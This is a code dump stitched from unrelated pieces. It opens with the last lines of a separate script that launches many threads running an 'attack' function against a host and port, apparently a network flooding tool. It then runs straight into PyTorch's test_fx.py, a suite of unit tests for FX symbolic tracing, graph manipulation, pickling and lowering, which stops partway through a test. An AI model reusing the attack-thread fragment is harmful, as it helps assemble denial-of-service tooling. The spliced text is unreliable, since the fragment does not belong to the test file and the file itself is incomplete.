str(port)) for i in range (threads): t = Thread(target=attack) t.start() if __name__ == '__main__': main()
test_fx.py
import builtins import contextlib import copy import functools import inspect import math import numbers import operator import os import pickle import sys import torch import traceback import warnings import unittest from math import sqrt from pathlib import Path from torch.multiprocessing import Process from torch.testing import FileCheck from torch.testing._internal.common_methods_invocations import op_db from torch.testing._internal.common_device_type import ops, onlyCPU, instantiate_device_type_tests import torch.utils._pytree as pytree import torch.fx._pytree as fx_pytree from torch.fx import symbolic_trace, Proxy, Node, GraphModule, Interpreter, Tracer, Transformer, Graph, wrap, PH import torch._C._fx from torch.fx.node import Target, Argument from torch.fx.passes import shape_prop from torch.fx.immutable_collections import immutable_dict, immutable_list from torch.fx.experimental.rewriter import RewritingTracer from torch.fx.operator_schemas import get_signature_for_torch_op from copy import deepcopy from torch.fx.proxy import TraceError from fx.test_subgraph_rewriter import TestSubgraphRewriter # noqa: F401 from fx.test_dce_pass import TestDCE # noqa: F401 from fx.test_fx_const_fold import TestConstFold # noqa: F401 from typing import Any, Callable, Dict, NamedTuple, List, Optional, Tuple, Union from torch.testing._internal.common_utils import run_tests, TEST_WITH_ROCM, IS_WINDOWS, IS_SANDCASTLE, IS_MACOS from torch.testing._internal.jit_utils import JitTestCase from fx.named_tup import MyNamedTup try: from torchvision import models as torchvision_models HAS_TORCHVISION = True except ImportError: HAS_TORCHVISION = False skipIfNoTorchVision = unittest.skipIf(not HAS_TORCHVISION, "no torchvision") class SimpleTest(torch.nn.Module): def forward(self, x): return torch.relu(x + 3.0) def a_non_torch_leaf(a, b): return a + b # Test wrap() passing both a function name as well as a function # directly def a_lifted_leaf(a, b): return a[0] + a[1] + b wrap('a_lifted_leaf') # Test wrapping twice doesn't break anything wrap('a_lifted_leaf') def a_lifted_leaf2(a, b): return a[0] + a[1] + b wrap(a_lifted_leaf2) wrap('len') @wrap def wrapped_via_decorator(a): return a + 1 wrap('wrapped_with_submodule') def wrapped_with_submodule(x: torch.Tensor, batchnorm1d: torch.nn.BatchNorm1d): return batchnorm1d(x) real_wrapped_via_decorator = wrapped_via_decorator real_a_lifed_leaf = a_lifted_leaf real_a_lifed_leaf2 = a_lifted_leaf2 _sqrt = sqrt wrap('wrapper_fn') def wrapper_fn(x): return torch.foo(x) class Pair(NamedTuple): x : torch.Tensor y : torch.Tensor # for testing pytrees class Foo(object): # noqa: B209 def __init__(self, a, b): self.a = a self.b = b class TestFX(JitTestCase): def setUp(self): if TEST_WITH_ROCM or IS_SANDCASTLE or IS_WINDOWS or IS_MACOS: return torch_root = Path(__file__).resolve().parent.parent p = torch_root / 'build' / 'lib' / 'libtorchbind_test.so' torch.ops.load_library(str(p)) def checkGraphModule(self, m: torch.nn.Module, args, kwargs=None): """Check that an nn.Module's results match the GraphModule version for a given set of args/kwargs. """ kwargs = kwargs if kwargs else {} ref_outs = m(*args, **kwargs) gm = symbolic_trace(m) gm.graph.lint() test_outs = gm(*args, **kwargs) self.assertEqual(ref_outs, test_outs) def test_graph_module(self): class MySub(torch.nn.Module): def __init__(self): super().__init__() self.w = torch.nn.Parameter(torch.rand(4, 3)) def forward(self, x): return self.w + x class MyModule(torch.nn.Module): def __init__(self): super().__init__() self.lin = torch.nn.Linear(4, 3) self.sub_mod = MySub() self.w = torch.nn.Parameter(torch.rand(3)) def forward(self, A, B, c): t = torch.sigmoid(A) + self.lin(c) return self.sub_mod(t.data + self.w + t + 1 - A + B // A + -A + A.add(B, alpha=3)) m = MyModule() gm = symbolic_trace(m) ms = torch.jit.script(gm) class M2(torch.nn.Module): def forward(self, A): m, idx = torch.max(A, 0) return m + 1, idx + 1 m2 = M2() gm2 = symbolic_trace(m2) class T(torch.nn.Module): def forward(self, A, b=4, *args, c=5, **kwargs): x = A + 1 + args[0] + kwargs['3'] return x t = T() symbolic_trace(t) def test_custom_import(self): graph = torch.fx.Graph() a = graph.placeholder('x') b = graph.placeholder('y') c = graph.call_function(a_non_torch_leaf, (a, b)) d = graph.call_function(torch.sin, (c,)) graph.output(d) gm = GraphModule(torch.nn.Module(), graph) x, y = torch.rand(1), torch.rand(1) self.assertEqual(torch.sin(x + y), gm(x, y)) def test_args_kwargs(self): class T(torch.nn.Module): def forward(self, *args, **kwargs): x = args[0] + kwargs['foo'] return x t = T() self.checkGraphModule(t, (torch.rand(1), torch.rand(1)), {'foo': torch.rand(1)}) def test_args_kwargs_no_self(self): class T(torch.nn.Module): def forward(*args, **kwargs): # noqa: B902 self = args[0] return torch.relu(args[1]) t = T() with self.assertRaisesRegex(RuntimeError, r'cannot be part of \*args expansion'): self.checkGraphModule(t, (torch.rand(1), torch.rand(1)), {'foo': torch.rand(1)}) def test_fx_shifts(self): class MyModule(torch.nn.Module): def forward(self, x): return x << 3, x >> 3 input = torch.LongTensor(10).random_(0, 1024) m = MyModule() self.checkGraphModule(m, (input,)) def test_dict(self): class MyDictMod(torch.nn.Module): def forward(self, d): return d['3'].relu(), {'4' : d['3'].neg()} input_dict = {'3': torch.rand(3, 4)} m = MyDictMod() self.checkGraphModule(m, (input_dict,)) def test_disallow_override(self): # Custom delegate to disallow in-place tensor operations class NoMutableCallTracer(Tracer): def create_node(self, kind : str, target : Union[str, Callable], args : Tuple[Argument, ...], kwargs : Dict[str, Any], name : Optional[str] = None, type_expr : Optional[Any] = None) -> Node: name = target if isinstance(target, str) else torch.typename(target) if name[-1] == '_': raise RuntimeError('In-place operations are not supported') return super().create_node(kind, target, args, kwargs, name) # Test method class MyInplaceMod(torch.nn.Module): def forward(self, x): x.add_(3.0) return x m = MyInplaceMod() with self.assertRaisesRegex(RuntimeError, 'In-place operations'): NoMutableCallTracer().trace(m) # Test free function class MyInplaceMod2(torch.nn.Module): def forward(self, x): torch.log_(x) return x m2 = MyInplaceMod2() with self.assertRaisesRegex(RuntimeError, 'In-place operations'): NoMutableCallTracer().trace(m2) # Test symbolic node as an arg class MyInplaceMod3(torch.nn.Module): def forward(self, x): y = torch.ones(3, 4) y.add_(x) return x m3 = MyInplaceMod3() with self.assertRaisesRegex(RuntimeError, 'In-place operations'): NoMutableCallTracer().trace(m3) def test_leaf_module(self): # Custom delegate to make it so that there are no leaf modules, everything # should get traced through class NoLeafModulesTracer(Tracer): def is_leaf_module(self, m, qualname): return False class MyReluMod(torch.nn.Module): def __init__(self): super().__init__() self.relu = torch.nn.ReLU() def forward(self, x): return self.relu(x) mrm = MyReluMod() sym = NoLeafModulesTracer().trace(mrm) for node in sym.nodes: self.assertNotEqual(node.op, 'call_module') sym.lint() def test_wrap(self): self.assertEqual(3 + 4 + 5, a_lifted_leaf((3, 4), 5)) def to_trace(y): return a_lifted_leaf((4, y), 3) + a_lifted_leaf((3, 4), 5) + a_lifted_leaf((y, y), y) m = symbolic_trace(to_trace) self.assertIn('a_lifted_leaf', m.code) self.assertEqual(27, m(2)) self.assertIs(a_lifted_leaf, real_a_lifed_leaf) def test_wrap_fn_directly(self): self.assertEqual(3 + 4 + 5, a_lifted_leaf2((3, 4), 5)) def to_trace(y): return a_lifted_leaf2((4, y), 3) + a_lifted_leaf2((3, 4), 5) + a_lifted_leaf2((y, y), y) m = symbolic_trace(to_trace) self.assertIn('a_lifted_leaf2', m.code) self.assertEqual(27, m(2)) self.assertIs(a_lifted_leaf2, real_a_lifed_leaf2) def test_wrapped_via_decorator(self): self.assertEqual(wrapped_via_decorator(0), 1) def to_trace(y): return wrapped_via_decorator(y) m = symbolic_trace(to_trace) self.assertIn('wrapped_via_decorator', m.code) self.assertEqual(m(0), 1) self.assertIs(wrapped_via_decorator, real_wrapped_via_decorator) self.assertFalse(hasattr(wrapped_via_decorator, "__fx_already_patched")) def test_wrapped_via_decorator_and_transformed(self): self.assertEqual(wrapped_via_decorator(0), 1) def to_trace(y): return wrapped_via_decorator(y) m = symbolic_trace(to_trace) self.assertIn('wrapped_via_decorator', m.code) self.assertEqual(m(0), 1) self.assertIs(wrapped_via_decorator, real_wrapped_via_decorator) self.assertFalse(hasattr(wrapped_via_decorator, "__fx_already_patched")) transformed = torch.fx.Transformer(m).transform() self.assertIn('wrapped_via_decorator', transformed.code) self.assertEqual(transformed(0), 1) self.assertIs(wrapped_via_decorator, real_wrapped_via_decorator) self.assertFalse(hasattr(wrapped_via_decorator, "__fx_already_patched")) def test_wrap_with_submodule(self): class M(torch.nn.Module): def __init__(self): super(M, self).__init__() self.batchnorm1d = torch.nn.BatchNorm1d(2, affine=False) def forward(self, x: torch.Tensor): return wrapped_with_submodule(x, self.batchnorm1d) m = symbolic_trace(M()) self.assertIn("wrapped_with_submodule", m.code) input = torch.rand(3, 2) ref_batchnorm1d = torch.nn.BatchNorm1d(2, affine=False) self.assertEqual(ref_batchnorm1d(input), m(input)) def test_wrapped_retrace(self): def to_trace(y): return wrapped_via_decorator(y) m = symbolic_trace(to_trace) self.assertIn('wrapped_via_decorator', m.code) self.assertEqual(m(0), 1) retraced = symbolic_trace(m) self.assertIn('wrapped_via_decorator', retraced.code) self.assertEqual(retraced(0), 1) def test_graph_edit_with_proxy(self): class M(torch.nn.Module): def forward(self, a, b): return a + b m = M() g = symbolic_trace(m).graph new_g = torch.fx.Graph() val_map : Dict[Node, Node] = {} output_val = new_g.graph_copy(g, val_map) t = Proxy(output_val) # test that we can use proxy objects to generate more graph code later for things that do not need to work with modules. new_g.output((t + t).node) gm = GraphModule(m, new_g) gm.graph.lint() self.assertEqual(gm(3, 4), 14) def test_graph_unique_names(self): class M(torch.nn.Module): def forward(self, a, b): return a + b m = M() g = symbolic_trace(m).graph new_g = torch.fx.Graph() val_map : Dict[Node, Node] = {} output_val = new_g.graph_copy(g, val_map) t = Proxy(output_val) # test that we can use proxy objects to generate more graph code later for things that do not need to work with modules. new_g.output((t + t).node) gm = GraphModule(m, new_g) seen_names : Set[str] = set() for node in gm.graph.nodes: assert node.name not in seen_names seen_names.add(node.name) def test_stack_traces(self): class M(torch.nn.Module): def forward(self, a, b): return a + b tracer = torch.fx.Tracer() tracer.record_stack_traces = True graph = tracer.trace(M()) for node in graph.nodes: if node.op == 'output': continue self.assertTrue(node.stack_trace is not None) assert 'test_fx.py' in node.stack_trace def test_graph_unique_names_manual(self): graph : torch.fx.Graph = torch.fx.Graph() a : torch.fx.Node = graph.create_node('placeholder', 'x') b : torch.fx.Node = graph.create_node('call_module', 'linear_mod', args=(a,), name='foo_1_1') c : torch.fx.Node = graph.create_node('get_attr', 'y_attr', name='foo_1') d : torch.fx.Node = graph.create_node('call_function', operator.add, args=(b, c)) graph.output(d) graph2 = torch.fx.Graph() val_map : Dict[Node, Node] = {} graph2.graph_copy(graph, val_map) seen_names : Set[str] = set() for node in graph2.nodes: assert node.name not in seen_names seen_names.add(node.name) def test_unpack(self): class M(torch.nn.Module): def forward(self, a, b): c, d = a return c + d + b a = (torch.rand(1), torch.rand(1)) b = torch.rand(1) m = M() self.checkGraphModule(m, (a, b)) def test_native_callable(self): if TEST_WITH_ROCM or IS_SANDCASTLE or IS_WINDOWS or IS_MACOS: raise unittest.SkipTest("non-portable load_library call used in test") # This test exercises the case where we use FX to translate from Python # code to some native callable object # # For the purposes of testing, we use ElementwiseInterpreter defined # in test_custom_class.cpp. # # We test that we can # 1) Construct a native callable from FX IR # 2) Construct a drop-in replacement module that delegates to the # native callable rather than the original code # 3) Run both the original code and native callable wrapper with # equivalent results # 4) TorchScript compile the native callable wrapper and confirm # equivalent results with the reference # 5) TorchScript serialize and deserialize the native callable # and confirm equivalent results with the reference # We use this simple Module as a reference computation class MySimpleMod(torch.nn.Module): def forward(self, x): return 3.0 * x + x msm = MySimpleMod() # This is what a lowering pass might look like: a function that takes # a valid nn.Module, symbolically traces it, lowers the Module to some # representation, and wraps that representation up into another # nn.Module instance that handles dispatch to the compiled/lowered code. def lower_to_elementwise_interpreter(orig_mod : torch.nn.Module) -> torch.nn.Module: # ===== Stage 1: Symbolic trace the module ===== mod = symbolic_trace(orig_mod) # ===== Stage 2: Lower GraphModule representation to the C++ # interpreter's instruction format ====== instructions = [] constant_idx = 0 constants = {} fn_input_names = [] target_to_name = { operator.add : "add", operator.mul : "mul" } output_node : Optional[Node] = None # For each instruction, create a triple # (instruction_name : str, inputs : List[str], output : str) # to feed into the C++ interpreter for n in mod.graph.nodes: target, args, out_name = n.target, n.args, n.name assert len(n.kwargs) == 0, "kwargs currently not supported" if n.op == 'placeholder': # Placeholders specify function argument names. Save these # for later when we generate the wrapper GraphModule fn_input_names.append(target) elif n.op == 'call_function': assert target in target_to_name, "Unsupported call target " + target arg_names = [] for arg in args: if not isinstance(arg, Node): # Pull out constants. These constants will later be # fed to the interpreter C++ object via add_constant() arg_name = f'constant_{constant_idx}' constants[arg_name] = torch.tensor( [arg] if isinstance(arg, numbers.Number) else arg) arg_names.append(arg_name) constant_idx += 1 else: arg_names.append(arg.name) instructions.append((target_to_name[target], arg_names, out_name)) elif n.op == 'output': if output_node is not None: raise RuntimeError('Multiple output nodes!') output_node = n else: raise RuntimeError('Unsupported opcode ' + n.op) interpreter = torch.classes._TorchScriptTesting._ElementwiseInterpreter() # Load constants for k, v in constants.items(): interpreter.add_constant(k, v) # Specify names for positional input arguments interpreter.set_input_names(fn_input_names) # Load instructions interpreter.set_instructions(instructions) # Specify name for single output assert isinstance(output_node.args[0], torch.fx.Node) interpreter.set_output_name(output_node.args[0].name) # ===== Stage 3: Create a wrapper GraphModule around the interpreter ===== class WrapperModule(torch.nn.Module): def __init__(self, interpreter): super().__init__() self.interpreter = interpreter wrapper = WrapperModule(interpreter) # Create a graph that: 1) Takes function arguments 2) Invokes the interpreter # 3) Returns the speficied return value # FIXME: The following code could be greatly simplified by symbolic_trace'ing # the wrapper with a Tracer that considers the Wrapper instance a root # module, however, I can't get `__call__` exposed on TorchBind classes # without it messing up Python `hasattr` for some reason. More digging # into CPython's implementation of hasattr is probably in order... graph = torch.fx.Graph() # Add placeholders for fn inputs placeholder_nodes = [] for name in fn_input_names: placeholder_nodes.append(graph.create_node('placeholder', name)) # Get the interpreter object interpreter_node = graph.create_node('get_attr', 'interpreter') # Add a node to call the interpreter instance output_node = graph.create_node( op='call_method', target='__call__', args=(interpreter_node, placeholder_nodes)) # Register output graph.output(output_node) graph.lint() # Return final GraphModule!!! return GraphModule(wrapper, graph) # Lower GraphModule to C++ interpreter lowered = lower_to_elementwise_interpreter(msm) # Compare correctness with original module x = torch.rand(3, 4) ref_out = msm(x) test_out = lowered(x) torch.testing.assert_allclose(test_out, ref_out) # Test TorchScript compilation scripted_lowered = torch.jit.script(lowered) script_out = scripted_lowered(x) torch.testing.assert_allclose(script_out, ref_out) # Test TorchScript ser/de import_copy = self.getExportImportCopy(scripted_lowered) imported_out = import_copy(x) torch.testing.assert_allclose(imported_out, ref_out) def test_reserved_getattr(self): """Ensure that we do not name any nodes with a reserved builtin like `getattr`""" class M(torch.nn.Module): def forward(self, a): return a.foo.bar.baz m = M() m_g = symbolic_trace(m) m_g.graph.lint() for node in m_g.graph.nodes: self.assertTrue(node.name != "getattr") def test_node_tagging(self): class TaggingTracer(Tracer): def create_node(self, kind : str, target : Union[str, Callable], args : Tuple[Argument, ...], kwargs : Dict[str, Any], name : Optional[str] = None, type_expr : Optional[Any] = None) -> Node: n = super().create_node(kind, target, args, kwargs, name) n.tag = 'foo' return n class M(torch.nn.Module): def forward(self, a, b): return a + b m = M() g = TaggingTracer().trace(m) g.lint() for n in g.nodes: self.assertTrue(hasattr(n, 'tag')) self.assertEqual(n.tag, 'foo') def test_tensor_attribute(self): class TensorAttribute(torch.nn.Module): def __init__(self): super().__init__() self.tensor = torch.rand(3, 4) def forward(self, x): return torch.nn.functional.linear(x, self.tensor) ta = TensorAttribute() traced = symbolic_trace(ta) traced(torch.rand(4, 4)) class WrapperForQualname(torch.nn.Module): def __init__(self): super().__init__() self.ta = TensorAttribute() def forward(self, x): return torch.nn.functional.linear(x, self.ta.tensor) wfq = WrapperForQualname() traced2 = symbolic_trace(wfq) traced2.graph.lint() traced2(torch.rand(4, 4)) def test_symbolic_trace_sequential(self): class Simple(torch.nn.Module): def forward(self, x): return torch.neg(x) seq = torch.nn.Sequential( Simple(), Simple(), Simple() ) traced = symbolic_trace(seq) traced.graph.lint() x = torch.rand(3, 4) self.assertEqual(traced(x), seq(x)) def test_tensor_constant(self): class ConstTensor(torch.nn.Module): def forward(self, x): return torch.nn.functional.linear(x, torch.zeros(3, 4)) ct = ConstTensor() traced = symbolic_trace(ct) traced.graph.lint() traced(torch.rand(4, 4)) def test_pickle_graphmodule(self): class Nested(torch.nn.Module): def __init__(self): super().__init__() self.st = torch.nn.Linear(4, 4) def forward(self, x): return self.st(x) n = Nested() traced = symbolic_trace(n) traced.graph.lint() pickled = pickle.dumps(traced) loaded = pickle.loads(pickled) loaded.graph.lint() x = torch.rand(3, 4) self.assertEqual(loaded(x), traced(x)) def test_pickle_custom_import(self): graph = torch.fx.Graph() a = graph.placeholder('x') b = graph.placeholder('y') c = graph.call_function(a_non_torch_leaf, (a, b)) d = graph.call_function(torch.sin, (c,)) graph.output(d) gm = GraphModule(torch.nn.Module(), graph) pickled = pickle.dumps(gm) loaded = pickle.loads(pickled) loaded.graph.lint() x, y = torch.rand(1), torch.rand(1) self.assertEqual(loaded(x, y), gm(x, y)) def test_all_input_nodes(self): graph : torch.fx.Graph = torch.fx.Graph() a : torch.fx.Node = graph.placeholder('x') b : torch.fx.Node = graph.call_module('linear_mod', args=(a,)) c : torch.fx.Node = graph.get_attr('y_attr') d : torch.fx.Node = graph.call_function(operator.add, args=(b, c)) e : torch.fx.Node = graph.call_function(torch.unsqueeze, args=(d, 0)) graph.output(e) graph.lint() self.assertEqual(b.all_input_nodes, [a]) self.assertEqual(c.all_input_nodes, []) self.assertEqual(d.all_input_nodes, [b, c]) self.assertEqual(e.all_input_nodes, [d]) def test_deepcopy_graphmodule_with_transform(self): st = SimpleTest() traced = symbolic_trace(st) traced.graph.lint() def transform(traced): new_graph = torch.fx.Graph() val_map : Dict[Node, Node] = {} output_value = new_graph.graph_copy(traced.graph, val_map) relu_out = new_graph.create_node( op='call_method', target='neg', args=(output_value,), kwargs={}) new_graph.output(relu_out) return GraphModule(traced, new_graph) transformed = transform(traced) transformed.graph.lint() copied = copy.deepcopy(transformed) self.assertNotEqual(id(type(transformed)), id(type(copied))) x = torch.randn(3, 4) self.assertEqual(copied(x), transformed(x)) def test_deepcopy_with_submods_params(self): class Bar(torch.nn.Module): def __init__(self): super().__init__() self.param = torch.nn.Parameter(torch.rand(3, 4)) def forward(self, x): return torch.relu(x) + self.param class Baz(torch.nn.Module): def __init__(self): super().__init__() self.param = torch.nn.Parameter(torch.rand(3, 4)) self.bar = Bar() def forward(self, x): return self.bar(x) - self.param baz = Baz() traced = symbolic_trace(baz) traced.graph.lint() copied = copy.deepcopy(traced) copied.graph.lint() def test_unpack_list_better_error(self): class SomeArgs(torch.nn.Module): def forward(self, a, b): return torch.rand(3, 4) class UnpacksList(torch.nn.Module): def __init__(self): super().__init__() self.sa = SomeArgs() def forward(self, x : list): return self.sa(*x) ul = UnpacksList() with self.assertRaisesRegex(TraceError, 'Proxy object cannot be iterated.'): symbolic_trace(ul) def test_unpack_dict_better_error(self): class SomeKwargs(torch.nn.Module): def forward(self, x=3, y=4): return torch.rand(3, 4) class UnpacksDict(torch.nn.Module): def __init__(self): super().__init__() self.sk = SomeKwargs() def forward(self, x : dict): return self.sk(**x) ud = UnpacksDict() with self.assertRaisesRegex(TraceError, 'Proxy object cannot be iterated.'): symbolic_trace(ud) def test_pretty_print_targets(self): # Test that Graph pretty-print prints friendly name for targets # in `operator` and `builtins` class SomeMod(torch.nn.Module): def forward(self, x): return torch.add(x.foo + x.bar, 3.0) traced = symbolic_trace(SomeMod()) graph_str = str(traced.graph) self.assertIn('builtins.getattr', graph_str) self.assertIn('operator.add', graph_str) self.assertIn('torch.add', graph_str) def test_pretty_print_node(self): class M(torch.nn.Module): def __init__(self): super().__init__() self.param: torch.nn.Parameter = torch.nn.Parameter( torch.rand(3, 4)) self.linear = torch.nn.Linear(4, 5) def forward(self, x: torch.Tensor, y: int = 2): return self.linear(x[y] + self.param).clamp(min=0.0, max=1.0) traced = symbolic_trace(M()) all_formatted = "\n".join([n.format_node() for n in traced.graph.nodes]) FileCheck().check("x").check("placeholder") \ .check("y").check("placeholder") \ .check("getitem").check("call_function") \ .check("param").check("get_attr") \ .check("add").check("call_function") \ .check("linear").check("call_module") \ .check("clamp").check("call_method") \ .run(all_formatted) def test_script_tensor_constant(self): # TorchScript seems to ignore attributes that start with `__`. # We used to call anonymous Tensor values `__tensor_constant*`, but # they were getting ignored by script. Now they're called # `_tensor_constant*` class IHaveATensorConstant(torch.nn.Module): def forward(self, x): return x + torch.rand(3, 4) traced = torch.fx.symbolic_trace(IHaveATensorConstant()) torch.jit.script(traced) def test_torch_fx_len(self): class FXLenTest(torch.nn.Module): def forward(self, x): return len(x) traced = symbolic_trace(FXLenTest()) self.assertEqual(traced(torch.rand(3, 4)), 3) # Test scriptability scripted = torch.jit.script(FXLenTest()) self.assertEqual(scripted(torch.rand(3)), 3) traced_scripted = torch.jit.script(traced) self.assertEqual(traced_scripted(torch.rand(3)), 3) # Test non-proxy len class FXLenTest2(torch.nn.Module): def __init__(self): super().__init__() self.l = [3, 4, 5] def forward(self, x): return x + len(self.l) traced2 = symbolic_trace(FXLenTest2()) inp = torch.rand(3, 4) self.assertEqual(traced2(inp), inp + 3.0) self.assertIs(len, builtins.len) def test_sqrt(self): class Sqrt1(torch.nn.Module): def forward(self, x): return sqrt(x.size(0)) class Sqrt2(torch.nn.Module): def forward(self, x): return math.sqrt(x.size(0)) class Sqrt3(torch.nn.Module): def forward(self, x): return x + math.sqrt(2) + sqrt(2) self.checkGraphModule(Sqrt1(), [torch.zeros(8)]) self.checkGraphModule(Sqrt2(), [torch.zeros(8)]) self.checkGraphModule(Sqrt3(), [torch.zeros(8)]) self.assertIs(sqrt, _sqrt) self.assertIs(math.sqrt, _sqrt) def test_torch_custom_ops(self): class M(torch.nn.Module): def forward(self, a): b = torch.ops.aten.sigmoid(a) c = torch.ops.aten.cat([a, b]) return torch.ops.aten.cat((c, c)) m = M() input = torch.randn(3) ref_out = m(input) gm = symbolic_trace(m) gm.graph.lint() out = gm(input) self.assertEqual(out, ref_out) def test_pickle_torch_custom_ops(self): class M(torch.nn.Module): def forward(self, a): b = torch.ops.aten.sigmoid(a) c = torch.ops.aten.cat([a, b]) return torch.ops.aten.cat((c, c)) m = M() input = torch.randn(3) ref_out = m(input) gm = symbolic_trace(m) gm.graph.lint() pickled = pickle.dumps(gm) loaded = pickle.loads(pickled) self.assertEqual(loaded(input), gm(input)) def test_pretty_print(self): st = SimpleTest() traced = symbolic_trace(st) traced.graph.lint() printed = str(traced) assert 'SimpleTest()' in printed assert 'torch.relu' in printed def test_pretty_print_graph(self): class KwargPrintTest(torch.nn.Module): def forward(self, x): return torch.squeeze(x + 3.0, dim=2) st = KwargPrintTest() traced = symbolic_trace(st) traced.graph.lint() stringed = str(traced.graph) for s in ['args', 'kwargs', '#users']: assert s in stringed def test_custom_proxy_type(self): class TensorPair: def __init__(self, left, right): self.left, self.right = left, right def add(self, other): l = self.left + other.left r = self.right + other.right return TensorPair(l, r) def mul(self, other): l = self.left * other.left r = self.right * other.right return TensorPair(l, r) def use_tensor_pair(x : TensorPair, y : TensorPair): s = x.add(y) return s.mul(x) x = TensorPair(torch.randn(5, 3), torch.randn(5, 3)) y = TensorPair(torch.randn(5, 3), torch.randn(5, 3)) ref_out = use_tensor_pair(x, y) traced = symbolic_trace(use_tensor_pair) traced_out = traced(x, y) self.assertEqual(traced_out.left, ref_out.left) self.assertEqual(traced_out.right, ref_out.right) def test_custom_proxy_type_literal(self): class TensorPair(metaclass=torch.fx.ProxyableClassMeta): def __init__(self, left, right): self.left, self.right = left, right def add(self, other): l = self.left + other.left r = self.right + other.right return TensorPair(l, r) def mul(self, other): l = self.left * other.left r = self.right * other.right return TensorPair(l, r) def use_tensor_pair_literal(x : TensorPair): s = x.add(TensorPair(torch.zeros(5, 3), torch.zeros(5, 3))) return s.mul(x) x = TensorPair(torch.randn(5, 3), torch.randn(5, 3)) ref_out = use_tensor_pair_literal(x) traced = symbolic_trace(use_tensor_pair_literal) traced_out = traced(x) self.assertEqual(traced_out.left, ref_out.left) self.assertEqual(traced_out.right, ref_out.right) def test_custom_proxy_dynamic_value(self): class TensorPair(metaclass=torch.fx.ProxyableClassMeta): def __init__(self, left, right): self.left, self.right = left, right def add(self, other): l = self.left + other.left r = self.right + other.right return TensorPair(l, r) def mul(self, other): l = self.left * other.left r = self.right * other.right return TensorPair(l, r) def use_tensor_pair_ctor(x : TensorPair, y : torch.Tensor): s = x.add(TensorPair(y, y)) return s.mul(x) x = TensorPair(torch.randn(5, 3), torch.randn(5, 3)) y = torch.randn(5, 3) ref_out = use_tensor_pair_ctor(x, y) traced = symbolic_trace(use_tensor_pair_ctor) traced_out = traced(x, y) self.assertEqual(traced_out.left, ref_out.left) self.assertEqual(traced_out.right, ref_out.right) def test_custom_proxy_input_dependent_control_flow(self): class ZeroTensor(metaclass=torch.fx.ProxyableClassMeta): def __init__(self, inp): if inp.sum() == 0: self.is_zero = True self.tensor = torch.tensor([]) else: self.is_zero = False self.tensor = inp def add(self, other): if self.is_zero: return ZeroTensor(other.tensor) elif other.is_zero: return self def use_zero_tensor(x : torch.Tensor, y : torch.Tensor): return ZeroTensor(x + y) x, y = torch.randn(5, 3), torch.randn(5, 3) ref_out = use_zero_tensor(x, y) traced = symbolic_trace(use_zero_tensor) traced_out = traced(x, y) self.assertEqual(traced_out.is_zero, ref_out.is_zero) self.assertEqual(traced_out.tensor, ref_out.tensor) def test_graph_fns(self): g = Graph() a = g.placeholder('a') b = g.call_module('linear', (a,)) c = g.get_attr('bias') d = g.call_method('add', (b, c)) e = g.call_function(torch.sin, (d,)) g.output(e) mod = torch.nn.Module() mod.linear = torch.nn.Linear(3, 4) mod.bias = torch.rand(4) gm = GraphModule(mod, g) gm.graph.lint() input = torch.rand(3) r = gm(input) ref = torch.sin(mod.linear(input) + mod.bias) self.assertEqual(r, ref) def test_remove_uses(self): g : torch.fx.Graph = Graph() x : torch.fx.Node = g.placeholder('x') relu : torch.fx.Node = g.call_function(torch.relu, (x,)) neg : torch.fx.Node = g.call_function(torch.neg, (relu,)) g.output(neg) neg.replace_all_uses_with(relu) g.erase_node(neg) self.assertTrue(neg not in relu.users) def test_nonetype_annotation(self): eb = torch.nn.EmbeddingBag(3, 4) symbolic_trace(eb) def test_pickle_nonetype_annotation(self): eb = torch.nn.EmbeddingBag(10, 3, mode='sum') traced = symbolic_trace(eb) pickled = pickle.dumps(traced) loaded = pickle.loads(pickled) loaded.graph.lint() input = torch.LongTensor([1, 2, 4, 5, 4, 3, 2, 9]) offsets = torch.LongTensor([0, 4]) self.assertEqual(loaded(input, offsets), traced(input, offsets)) def test_return_tuple(self): class M(torch.nn.Module): def forward(self, x: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]: return (x, x + x) original = M() traced = symbolic_trace(original) self.assertEqual(traced(torch.ones(1)), original.forward(torch.ones(1))) def test_construct_root_dict(self): graph : torch.fx.Graph = torch.fx.Graph() a : torch.fx.Node = graph.create_node('placeholder', 'x') b : torch.fx.Node = graph.create_node('call_module', 'foo.bar.baz', args=(a,)) c : torch.fx.Node = graph.create_node('get_attr', 'zip.zap.zam') d : torch.fx.Node = graph.create_node('call_function', operator.add, args=(b, c)) graph.output(d) linear_mod : torch.nn.Module = torch.nn.Linear(3, 4) add_param : torch.Tensor = torch.rand(3, 4) gm : torch.fx.GraphModule = torch.fx.GraphModule( {'foo.bar.baz': linear_mod, 'zip.zap.zam' : add_param}, graph) gm.graph.lint() assert 'self.foo.bar.baz' in gm.code x : torch.Tensor = torch.rand(3, 3) out : torch.Tensor = gm(x) ref_out : torch.Tensor = linear_mod(x) + add_param self.assertEqual(out, ref_out) def test_symbolic_trace_assert(self): class AssertsTensorShape(torch.nn.Module): def forward(self, x): torch._assert(x.shape[1] > 4, "assert_foobar") return x m = AssertsTensorShape() # verify traceability traced = symbolic_trace(m) # verify assertion on traced model works correctly at runtime traced(torch.rand(4, 5)) with self.assertRaisesRegex(AssertionError, "assert_foobar"): traced(torch.rand(4, 3)) # verify the symbolically traced module is scriptable ms = torch.jit.script(m) with self.assertRaisesRegex(torch.jit.Error, "assert_foobar"): ms(torch.rand(4, 3)) def test_trace_fn_constant(self): some_constant = torch.rand(3, 4) def add_const(x): return some_constant + x traced = symbolic_trace(add_const) input = torch.rand(3, 4) self.assertEqual(traced(input), add_const(input)) def test_copy_no_remap(self): traced = symbolic_trace(SimpleTest()) g = traced.graph copied = torch.fx.Graph() for node in g.nodes: copied.node_copy(node) with self.assertRaisesRegex(RuntimeError, 'does not belong to this Graph'): copied.lint() def test_wrong_topo(self): graph : torch.fx.Graph = torch.fx.Graph() a : torch.fx.Node = graph.create_node('placeholder', 'x') b : torch.fx.Node = graph.create_node('call_module', 'foo.bar.baz', args=(a,)) c : torch.fx.Node = graph.create_node('get_attr', 'zip.zap.zam') d : torch.fx.Node = graph.create_node('call_function', operator.add, args=(b, c)) graph.output(d) nodes = list(graph.nodes) nodes[3].append(nodes[2]) with self.assertRaisesRegex(RuntimeError, 'was used before it has been defined'): graph.lint() def test_example_shape_prop(self): class TestCase(torch.nn.Module): def __init__(self): super().__init__() self.attr = torch.randn(3, 4) self.submod = torch.nn.Linear(4, 4) def forward(self, x): return torch.neg(self.submod(x.relu() + self.attr)) tc = TestCase() tc_traced = symbolic_trace(tc) ref_out = tc_traced(torch.rand(3, 4)) shape_prop.ShapeProp(tc_traced).propagate(torch.rand(3, 4)) # Make sure we're testing all opcodes opcodes = set() 